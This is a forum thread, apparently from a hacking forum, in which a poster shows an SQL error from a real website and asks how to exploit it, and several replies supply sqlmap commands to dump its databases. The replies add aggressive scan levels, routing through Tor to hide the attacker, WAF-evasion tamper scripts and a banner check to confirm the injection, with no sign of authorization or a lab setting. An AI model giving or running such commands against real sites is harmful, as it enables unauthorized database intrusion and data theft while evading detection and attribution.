[liampv]

Hi everybody

I'm trying to learn about sql injection and sqlmap.

I tried a website, and saw an error like this? How should I exploit it?

victim.com/search/12'

Error massage:

Query: SELECT * FROM php_order WHERE id='12''

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''12''' at line 1

I tried like this:

sqlmap -u "victim.com/search/12*" --dbs --dbms=mysql

but no result.

Please help me this case

[IntelBroker]

Can you show the output from such command, try adding verbose with it.

[atwakaintelbroker]

Try this

sqlmap -u "victim.com/search/12'" --level=5 --risk=3 -o --dbs --answer="crack=n" --tor --check-tor --tor-type=socks5 --tor-port=9150 --no-cast --random-agent

And try adding --threads=5 and verbose like Intel mention

[spirits]

Hi everybody

I'm trying to learn about sql injection and sqlmap.

I tried a website, and saw an error like this? How should I exploit it?

victim.com/search/12'

Error massage:

Query: SELECT * FROM php_order WHERE id='12''

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''12''' at line 1

I tried like this:

sqlmap -u "victim.com/search/12*" --dbs --dbms=mysql

but no result.

Please help me this case

If the error you receive is caused by WAF or you encounter this error after finding the solution, add the following parameter: 

 --tamper="between,randomcase,space2comment"

Good luck / By @rr00ttsec 

[34585]

This isn't that easy, every sql server have his own tricks and arguments to use. (except low hanging fruit) Without some details i can't help.

the only thing i can say if you found some entry point use --banner to confirm it isn't a false positive